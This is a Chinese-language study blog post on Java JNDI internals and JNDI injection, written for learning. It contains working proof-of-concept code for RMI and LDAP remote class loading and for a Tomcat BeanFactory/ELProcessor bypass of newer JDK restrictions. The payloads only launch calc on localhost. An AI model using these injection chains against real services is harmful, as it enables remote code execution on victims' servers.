JNDI重看
2024-08-09 18:24:16

什么是 JNDI

英文全写为:Java Naming and Directory Interface,翻译叫做 JAVA 命名和目录接口,是 sun 公司提供的一种标准的 java 命令系统接口,JNDI 提供统一的客户端 API,并由管理者将服务端映射为 JNDI 上的特定服务和对象,简单来说就是: JNDI,能够让用户通过统一的方式访问获取网络上的各种资源和服务 (键值对找东西)
Naming 和 Directroy

0x01 Naming 命名服务

提供一种由键值对构成的通过名称来查找实际对象的服务,比如 RMI 协议,就是客户端通过注册中心上的对象名称得到远程对象的引用,有几个名词需要解释一下

  • Bindings:表示一个名称和对应对象的绑定关系,也就是 DNS 域名绑定到对应 IP 上,RMI 中一个远程对象去绑定一个名称
  • Context: 表示一组名称和对应对象的绑定,比如 spring 中的 IOC 容器,里面就存在 id 和各种 javabean 的对应关系,javaweb 中的 standardContext 等
  • References:在一个实际的对象存储键值对中,有些对象他并不能直接存储在系统中,这个时候就需要References(引用)来代表这个对象,而一个引用中必须要包含该实际对象的信息,运作状态等等。最形象的是 linux 文件系统中的 fd( file descriptor ),我们实际对文件的操作是内容通过这个 fd 找到磁盘中对应位置和读写偏移的。

0x02 Directory 目录服务

目录服务相当于命名服务的一个扩展,一个键值对的信息服务中,实际对象还能够拥有对应的属性(attributes)信息,那我们进行 lookup 查找操作的时候,就不止通过名称去查找,还可以通过属性值去查找

0x03 JNDI SPI

JNDI 架构如下:
l5qgw3jccj.png
层次由上往下,我们最终接触到的 JDNI 部分是 SPI,SPI 主要是为底层的具体目录服务提供统一的接口,从而实现目录服务的可插拔式的安装
从这种图就能看出,JDK 原生的 JNDI 有如下服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services)
  • DNS(域名转换协议)

JNDI 代码实现

JNDI 主要分为如下几个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

开始代码的具体实现

0x01 JNDI_RMI 实现

先写 RMI 的服务端
远程对象接口:

1
2
3
4
5
6
7
8
9
10
11

package com.stoocea;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;

}

远程对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

package com.stoocea;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException{
}
@Override
public String sayHello() throws RemoteException {
return null;
}

@Override
public String sayHello(Object name) throws RemoteException {
return null;
}
}

服务端逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.stoocea;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server {
public static void main(String[] args)throws Exception {
RemoteObject remoteObject=new RemoteObject();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/Hello",remoteObject);
System.out.println("server端正在运行");
}

}

启动 RMI 服务,然后我们用 JNDI 的接口去调远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

package com.stoocea;

import javax.naming.Context;
import java.util.Hashtable;
import javax.naming.InitialContext;

public class JNDI {
public static void main(String[] args) throws Exception{
Hashtable<String,String> env=new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

Context initialContext = new InitialContext(env);
RemoteInterface remoteObject=(RemoteInterface) initialContext.lookup("Hello");
System.out.println(remoteObject.sayHello("stoocea"));

}
}

调用结果如下
image.png
稍微分析一下 JNDI 实现端的逻辑:
我们通过 设置环境变量,指定了要从哪获取对象,也就是 1099 端口上的 registry 注册中心,然后就调用创建出来的 Context 的 lookup 即可
那么 JNDI 是如何识别我们指定的服务,以及如何定位到服务中心的?

JNDI 工作流程

0x01 context 初始化和对应属性设置

image.png
我们之前提到过 JNDI 的整体架构,最近的一层是 JNDI 的 spi 层,他是我们能够接触到的 JNDI 最直接的,然后我们看 InitalContext 的导包结构,他导入了 naming 下的 spi 服务,而 SPI 本身的作用主要是为底层的具体目录服务提供统一的接口,从而能够使得目录服务的可插拔安装,这正好对应 InitialContext 为什么要获取 INITIAL_CONTEXT_FACTORYPROVIDER_URL,正是为了满足这一条件

1
2
3
4
5
Hashtable<String,String> env=new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

Context initialContext = new InitialContext(env);
  • INITIAL_CONTEXT_FACTORY能够让 initalContext 能够正常获取到我们想要指定的服务名称
  • PROVIDER_URL能够让初始化出来的 context 定位到服务位置

这其实跟之前 RMI 获取到服务中心的流程很像,而 RMI 其实是隶属于 JNDI 的,所以操作步骤也是差不多的
除了这么一个通过 hashtable 传值初始化 initcontext 的方法,还有其他两种方法
image.png
第一个是选择不初始化 initcontext
image.png
直接调用 init 方法,从环境变量中获取属性值
image.png
实现如下:

1
2
3
4
5
6
7
8
9
//设置JNDI环境变量

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");

System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");

//初始化上下文

InitialContext initialContext = new InitialContext();

JNDI 的功能点其实和 RMI 差不多

0x02 JNDI 底层实现

1x01 获取 contect 的 factor 构造类

我们把断点打在initcontext初始化的地方
image.png
image.png
然后继续跟进
image.png
在 init 方法中,首先是获取环境变量,也就是当前系统,以及我们刚才设置的 hashtable 的环境变量
然后跟进 getDefaultInitCtx()方法,最终跟进到 NamingManager 的 getInitialContext方法
image.png
首先getInitialContextFactoryBuilder();获取到 Context 的工厂 builder 类,如果 builder 为空,就直接获取INITIAL_CONTEXT_FACTORY属性,作为我们的 Context 工厂 builer 类,那这里就是我们刚才通过 hashtable 设置的com.sun.jndi.rmi.registry.RegistryContextFactory
然后继续往下
image.png
通过 loadClass 动态加载工厂类,最后调用 RegistryContextFactory的getInitialContext方法
整理一下调用类

1
2
3
4
InitialContext#init()
getDefaultInitCtx();
NamingManager.getInitialContext()
VersionHelper.loadClass(className).newInstance();(这个helper是NamingManager中的一个属性值,专门用来动态实例化类)

未命名文件.png
事后继续翻阅流程的时候也在最终返回的 getInitialContext 方法中,发现实现了这个方法的类就那么几个,也就是 JNDI 服务种类的那些
image.png

1x02 获取 context 内容

继续跟进 factrory 的 getInitialContext 的方法,这里的 var1 就是我们自己传的那个 hashtable 变量
image.png
var1 作为 getInitCtxURL 的参数值跟进
image.png
分析逻辑,这里是类 RegistryContextFactory,所以如果 var2 为空,他默认是返回 rmi 协议头,但是没有 URL 解析,这里我们 var2 肯定不为空,所以就直接返回 var2
继续跟进外层的 URLToContext
image.png
开始调用 rmiURLContextFactory 的 getObjectInstance 方法
image.png
这里会判断我们的 RMIURL 是否为空之后,跟进 getUsingURL
image.png
很奇怪,这里会直接调用 rmiURLContext 的 lookup 方法,但是此时 RMI 等相关配置还未装配,继续跟进看看逻辑
由于 rmiURLContext 本身是不带 lookup 方法,所以直接到父类GenericURLContext的 lookup 方法
image.png
这里第一部逻辑就是执行 getRootURLContext()方法获取解析结果,这里的结果 var 如下,结果封装成了 ResolveResult 对象,通过 getResolvedObj 方法取出 RegistryContext
image.png
之后调用RegistryContext 的 lookup 方法,这里会因为我们传值的 ResolveResult 通过getRemainingName 方法返回的结果为空,所以不会继续下面的直接调用 registryImpl_stub 的 lookup 方法,而是返回当前的RegistryContext
image.png
上述逻辑比较重要,因为可能刚才流程师傅们在学习的时候会很好奇为什么会进 lookup 逻辑,但是却没有返回查询结果(我也不知道为什么在创建 RegistryContext 的时候会调 lookup)
那么这里返回之后会一路返回上去
image.png
所以我们当前初始化的InitialContext 就是 RegistryContext 实例化对象,再次调用其 lookup 方法就是调用刚才的 lookup 了
image.png

总结一下调用栈:
未命名文件-1-1024x255.png
下面代码部分的获取 context 不涉及getInitCtxURL 获取服务路径的部分

1
2
3
4
5
6
7
RegistryContextFactory#getInitialContext()->
RegistryContextFactory#URLToContext()->
rmiURLContextFactory#getObjectInstance()->
rmiURLContextFactory#getUsingURL()->
rmiURLContext#lookup()->
GenericURLContext#lookup()->
GenericURLContext#getRootURLContext() //到这就算是获取到了包含RegistryContext的ResolveResult对象,后续就是进lookup意思一下返回RegistryContext了

其实能调 RMI 的远程 lookup,就存在攻击可能

JNDI 动态协议转化

这次我们不往InitialContext 初始化里面丢自己写好的环境变量 hashtable

1
2
3
4
String string="rmi://localhost:1099/Hello";
Context initialContext = new InitialContext();
RemoteInterface remoteObject=(RemoteInterface) initialContext.lookup(string);
System.out.println(remoteObject.sayHello("stoocea"));

直接就往initialContext 的 lookup 里面写我们的 RMI 定位 URL
image.png
发现依然能够查找到远程对象

0x01 动态协议转化流程分析

在 lookup 处下个断点,跟进
image.png
发现在 initialContext 中不论是调哪种方法都是默认要走一层getURLOrDefaultInitCtx,也就是我们最开始获取 Context 的 factory 构造类的流程相似
跟进到具体内容
image.png
由于这里我们没有InitialContextFactoryBuilder,所以不能够直接去调用getDefaultInitCtx(不然就和上面的流程一样了),往下先获取到 scheme,也就是 rmi 协议头
带着 scheme 进入NamingManager.getURLContext 方法
image.png
继续跟进到 getURLObject 方法
image.png
这边根据_defaultPkgPrefix_属性动态生成Factory类
image.png
也就是说这个包下的类都是可以通过 JNDI 的动态协议转化生成 factory 的
image.png

直到这里,我相信师傅们应该能理解为什么要分别分析 JNDI 的正常通过获取环境变量设置去实例化获取 context,和 JNDI 动态协议转化了
JNDI 动态协议转化使我们的攻击扩大了可能性以及攻击范围,虽说 JNDI 的这种动态转化的功能很方便,但是有方便,并且参数可控,就是我们可以攻击点,假如我们可以控制字符串的输入,就能够搭建恶意服务,并控制JNDI接口访问该恶意,于是将导致恶意的远程class文件加载,从而导致远程代码执行(工厂类的 loadclass 动态加载)

JNDI-Refernce 类

定义在最开始的提到过,但是这里还要对其有一定的补充:
**Reference类表示对存在于命名/目录系统以外的对象的引用 **,什么意思呢?就是当我们查询远程对象在服务中找不到时,能够从其他远程端获取到 class 文件加载并实例化
Reference 类结构如下:
image.png
这里只列出一种构造方法,还有其他三种构造方法,依次递减构造参数
image.png

由于 RMI 的限制,如果想要远程对象被访问到就必须继承 UnicastRemoteObject。 所以这里我们需要使用ReferenceWrapper类对Reference类或其子类对象进行远程包装成Remote类使其能够被远程访问。

JNDI 注入

先来张流程图

0x01 JNDI+RMI

和 RMI 中远程从 codebase 中获取恶意类加载的思路是差不多的,我们这里只不过不是把 codebase 换成了 Reference 对象
写一个简单的恶意 RMI 客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.stoocea;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.sql.SQLOutput;

public class RMI_Server2 {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference=new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",referenceWrapper);
System.out.println("Registry正在运行中");
}
}

这里 Reference 必须用ReferenceWrapper包装一下,不然无法通过 RMI 访问到
然后写一下恶意工厂类,必须继承ObjectFactory 类。同样也是由于必须继承远程对象类才能被 RMI 访问到,所以这里必须继承UnicastRemoteObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.stoocea;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;

//远程工厂类

public class RMIHello extends UnicastRemoteObject implements ObjectFactory {

public RMIHello() throws RemoteException {

super();

try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}
}
public String sayHello(String name) throws RemoteException {

System.out.println("Hello World!");

return name;

}
@Override

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {

return null;

}
}

之后写上受害者的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.InitialContext;


public class JNDI_Dynamic {

public static void main(String[]args) throws Exception{

String string = "rmi://localhost:1099/hello";

InitialContext initialContext = new InitialContext();

initialContext.lookup(string);
}
}

成功弹出计算机
image.png

1x01 流程分析

其实上面对于 JNDI 的工作流程分析时就已经提到过了,我们这里先确定一下大概的方向:JNDI 的动态协议转化导致我们能够从 Reference 类中读取地址,从恶意地址中获取恶意工厂类(其实不用工厂类也行)字节码内容,然后本地实例化之后触发构造方法 RCE
首先 lookup 处下个断点
image.png

来到 lookup 的具体内容
image.png
继续跟进 getURLOrDefaultInitCtx 方法
image.png
由于我们 URL 传值中制定了 RMI 协议,所以这里的 scheme 取出来是”RMI”,进入 if 判断完毕之后的内容,通过 NamingManager 的 getURLContext 的方法来获取 context
getURLContext** **内容里面只有一个 getURLObject 方法
image.png
继续跟进,这里根据 scheme 的值构造出了 rmiURLContext 的构造实体 factory
image.png
image.png
那么之后就是根据工厂类来获取 rmiURLContext 的内容了
image.png
这里就直接返回 rmiURLContext,到调用 lookup 中去
还是由于 rmiURLContext 本身没有 lookup 方法的定义,跟进到 GenericURLContext 的 lookup 方法
image.png
这里的getRootURLContext 方法和getResolvedObj 方法都都是为了获取 RegistryContext
此时的 var3 就是RegistryContext,继续调用其 lookup 方法
image.png
到这里就已经获取到了 RMI 中熟悉的 Stub,从远程客户端上请求字节码了,最后调用 decodeObeject 进行实例化
image.png
这里持续跟进到 getObjectFactoryFromReference
image.png
调用 loadClass 进行动态类加载
与之前 JNDI 实例化 initialContext 时不同,iinitialContext 的 factory 类不是在这里实例化(虽然长得挺像的),而是在NamingManager 的 getInitialContext,至于这里的逻辑就是区别在getURLOrDefaultInitCtx 里面了,看是走 URLCtx 还是 DefaultCtx

0x02 踩坑实录

愚蠢的 stoocea 又在这里踩坑了,目录结构尽量是直接在 java 目录下,不要在子包下写服务
image.png
不然客户端启动的时候找不到 RMIHello 这个恶意类(我也不知道为什么,可能寻找的地址 String 要加点什么吧)

0x03 JNDI+LDAP

0x01 什么是 LDAP

首先回顾一下 LDAP 的定义( Lightweight Directory Access Protocol ,轻型目录访问协议 ),是一种目录服务协议,运行在 TCP/IP 堆栈上。它本身是由目录数据库和一套的目录访问协议构成的,目录服务本身是一个特殊的数据库,用来保存描述性的,基于属性的详细信息,拥有最基本的查询,浏览,以树状结构组织数据
简单点说,LDAP 就是一个用来存储协议的数据库
在 LDAP 中我们通过目录树来访问一条记录,基本名词和结构如下:

1
2
3
4
5
6
7
8
9
10
11
dn :一条记录的详细位置

dc :一条记录所属区域 (哪一颗树)

ou :一条记录所属组织 (哪一个分支)

cn/uid:一条记录的名字/ID (哪一个苹果名字)

...

LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。

访问的深度依次从上往下
JNDI 的工作流程是不会变的,如果我们可以控制 JNDI 去访问 LDAP 服务器上的恶意对象,就能够达到和 恶意 RMI 对象同样的效果

0x02 JNDI+LDAP 攻击实现

先用 windows 上常用的 LDAP 服务器把 LDAP 服务搭上,这里我用是 apache LDAP ,首先 new 一个新的 LDAP 服务,然后在这个 LDAP 服务的基础上加上 LDAP 连接,目录结构如下
image.png
之后开始 JNDI 作用 LDAP 的代码实现
先写一个服务端(针对 LDAP 了,所以不用去加 ReferenceWrapper 去包装满足 RMI 的要求了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.Naming;

public class JNDI_LDAP_Server {
public static void main(String[] args) throws Exception{
InitialContext initialContext=new InitialContext();
Reference refObj=new Reference("RMIHello","RMIHello","http://localhost:8000/");
initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",refObj);
System.out.println("LDAP服务器正在运行中");
}
}

然后要注意恶意类的编写有所改变,不是针对 RMI 形式的攻击了,这里的是 LDAP,所以不用去继承 UnicastRef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import javax.naming.Context;

import javax.naming.Name;

import javax.naming.spi.ObjectFactory;

import java.io.IOException;

import java.rmi.RemoteException;

import java.rmi.server.UnicastRemoteObject;

import java.util.Hashtable;



//远程工厂类
//如果是测试RMI-JNDI的攻击,请加上UnicastServerRefObject的继承
public class RMIHello implements ObjectFactory {

public RMIHello() throws RemoteException {


try {

Runtime.getRuntime().exec("calc");

} catch (IOException e) {

e.printStackTrace();

}

}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

然后是客户端:

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;

public class JNDI_LDAP_Dynamic {
public static void main(String[] args) throws Exception {
String string = "ldap://localhost:10389/cn=TestLdap,dc=example,dc=com";

InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

实验没问题
image.png

1x01 攻击流程分析

其实整体和 RMI 很相似,只不过初步获取 Context 不同
这里我们依然断点打在 lookup 处
image.png
直接进 initialContext 的 lookup,先获取 context
image.png
之后返回出去开始调用 ldapURLContext 的 lookup 方法,跟进之后发现还是跟 RMIURLcontext 差不多,调用父类 GenericContext 的 lookup 方法
image.png

前面获取解析结果 ldapCtx 就不跟进了
image.png
直接进它的 lookup
image.png
但是 ldapCtx 本身是没有 lookup 方法,还是得调它的父类(这里直接掉到了顶级父类)PartialCompositeContext 的 lookup 方法
image.png
获取一堆信息,然后直接进 try,跟进 p_lookup
image.png
最后又一直向下调用 ComponentContext 的 c_lookup
image.png
跟进到最后熟悉的 DirectoryManager 的 getObjectInstance 了
image.png
getObjectInstance 中跟进到 getObjectFactoryFromReference
image.png
之后就是动态类加载了
image.png

JNDI 注入高版本绕过

0x01 JNDI-RMI 限制

JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。
估计师傅们自己在测试的时候应该也遇到了这个问题,也就是报错
image.png
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。

1x01 源码分析

相信经过上面的攻击流程分析,师傅们应该可以确定,JNDI-RMI 的远程攻击进入开始阶段是在RegistryContext#decodeObject()
对比 8u65 和 8u202 的源码不同

image.png

image.png
多了一层对于类型的限制以及远程 trustURLCodebase 的检查,基本上远程 codebase 都不会被允许加载了,所以我们得另辟蹊径,首先加载本地的 factory,然后再利用这个本地的 factory 去加载远程类

0x02 JNDI-LDAP 限制

同样包下的 com.sun.jndi.rmi.object.trustURLCodebase也被默认值设置为了 false,限制相同,绕过方式也相同

0x03 绕过实现分析

我们以 RMI 的绕过为前期绕过分析对象,实际上两者共用一套绕过逻辑
首先这个本地工厂类必须实现 ObjectFactory,这是一直从 JNDI 注入开始利用类就满足的一个条件,在写利用类的时候应该也发现如果实现ObjectFactory 就必须要实现 getObjectInstance 方法。然后这个工厂类实例化我们的恶意类的方法参数必须可控
综合上面的条件,在 Tomcat8 的依赖包中有一个 BeanFactory满足前置的两个条件
image.png
观察他的 getObjectInstance 方法,发现有一个限制:我们实例化生产的类必须是 ResouceRef 类型,不然无法进入方法的 trycatch 块处理逻辑
什么是 ResourceRef 呢?在 javaweb 或者 springmvc 项目中,我们在 web.xml 中见的很多,用来引入外部资源的,而 EL 表达式其实就是 ELEMENT 元素表达式,在 web.xml 中用来加载外部资源
image.png
我们看看 ResourceRef 的具体定义和内容
image.png
简单来说它也是一种引用 wrapper,也就是用来包装指定类的各类信息,还包括了用来加载该类的 factory 工厂地址(为什么是 factory 呢?具体思考 javaweb 和 SSM 这一套管理类的逻辑),而且都是我们可控的,这就很巧,我们就是需要一个从本地加载 factory 类—>beanfactory
总结一下就是:我们用 ResourceRef 包装一下 ELProcessor 和指定加载它的beanfactory,之后让 beanfactory 去实例化 ELProcessor,调用 EL 的 eval 方法,触发 RCE

1x03 代码实现

可以先写一个恶意服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import org.apache.naming.ResourceRef;


import javax.naming.InitialContext;
import javax.naming.StringRefAddr;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;



public class JNDIbyPass {

public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
InitialContext initialContext=new InitialContext();
//Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['calc']).start()\")"));
//initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",ref);
initialContext.rebind("rmi://localhost:1099/remoteobj",ref);
}

}

然后写一个受害者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.InitialContext;



public class JNDI_Dynamic {

public static void main(String[]args) throws Exception{

String string = "rmi://localhost:1099/remoteobj";

InitialContext initialContext = new InitialContext();

initialContext.lookup(string);

}

}

执行起来应该没有问题,复现时要注意 java 中的 eval 能不能直接加载 runtime 类进行命令执行,以及 EL 的依赖是否打上了
image.png

1x04 流程分析

断点依然是打在 lookup 中,但是这里我们就直接进 lookup 了,getURLOrDefaultInitCtx 返回出来依然是 rmiURLContext
image.png
逻辑照旧
image.png
由于是 RMI 的 context ,所以直接就跟进到 RegistryContext 的 lookup
image.png
通过 RMI 原生获取到字节码之后,再调用 decodeObject 方法
关键性逻辑在第一句,这里会判断我们传进来的要实例化的对象是否是 RemoteRef 类,如果是的话,那我们这个流程就肯定没有后续了,因为它会将实例化对象强转为 RemoteReference 类型,会自带 classFactoryLocation 属性字段,后面的 if 判断就过不去了,这就是为什么我们要选择 ResourceRef 的原因
image.png
继续往下
image.png
来到最为关键的 if 判断,由于我们的指定实例化类是 ResourceRef,不带 classFactoryLocation 属性,所以三个判断条件中,第二个判断条件不符合要求,与运算不通过,可以开开心心进行类加载了
那么直接跟进 NamingManager 的 getObjectInstance 方法
image.png
首先对其强转为 Reference 类,然后直接通过getFactoryClassName 获取到工厂类的全类名(此时是org.apache.naming.factory.BeanFactory),调用getObjectFactoryFromReference先对它进行类加载
然后开始调用工厂类的getObjectInstance对类实现实例化加载
这里稍微看一下变量表
image.png
自然跟进到BeanFactorygetObjectInstance方法
image.png
调用ResourceRef.getClassName(),获取到 ELProcessor 的全类名,开一个当前线程的 context 类加载器,对 ELProcessor 进行类加载
然后的内容就是对 ResourceRef 这个类中的设定的信息进行处理,比如说获取到 forceString,然后对其字符串处理满足表达式,然后获取要执行方法的参数等等,最后的最后,获取到方法以及参数之后反射调用,触发 RCE
image.png
最终触发如下
image.png
EL 表达式其实是一种很常用的 RCE 媒介,初次完整分析很过瘾

JNDI 复习 over,除了思路开拓和基础部分是跟文章,分析部分都是自己去走逻辑,去解决自己遇到的问题,感觉很爽,不会再去傻傻的跟着别人的步骤走了

总结

稍微总结一下
JNDI 的工作流程,不论是不是动态协议转化,都是一个总的逻辑:为了获取到 context 实例而去构造 factory 工厂类,然后通过 factory 去实例化 context,然后再去通过 context 去调用各种方法
如果是指定 initialcontext 的属性,调用 initialcontext 的各种功能方法,那么逻辑大致为

如果是动态协议转化(漏洞所在)
initialContext 直接调方法,比如 lookup,那么他会先判断是哪种协议,然后通过获取该协议相关的 factory,去构造该协议的 Context,再去调该协议 Context 的方法,我们的漏洞分析也就是从这里开始的

  • getURLOrDefaultInitCtx 获取到相关协议 Context
  • 相关协议 context 调用相关方法,如 lookup
  • 通过 RMI 原生获取到远程服务器上的恶意字节码
  • decodeObject 开始实例化,本质还是通过工厂类去实例化
  • 调用工厂类的getObjectInstance 去完成(高版本与低版本的区别就在此是否有对类型的限制,以及trustURLCodebase 默认是否为 false)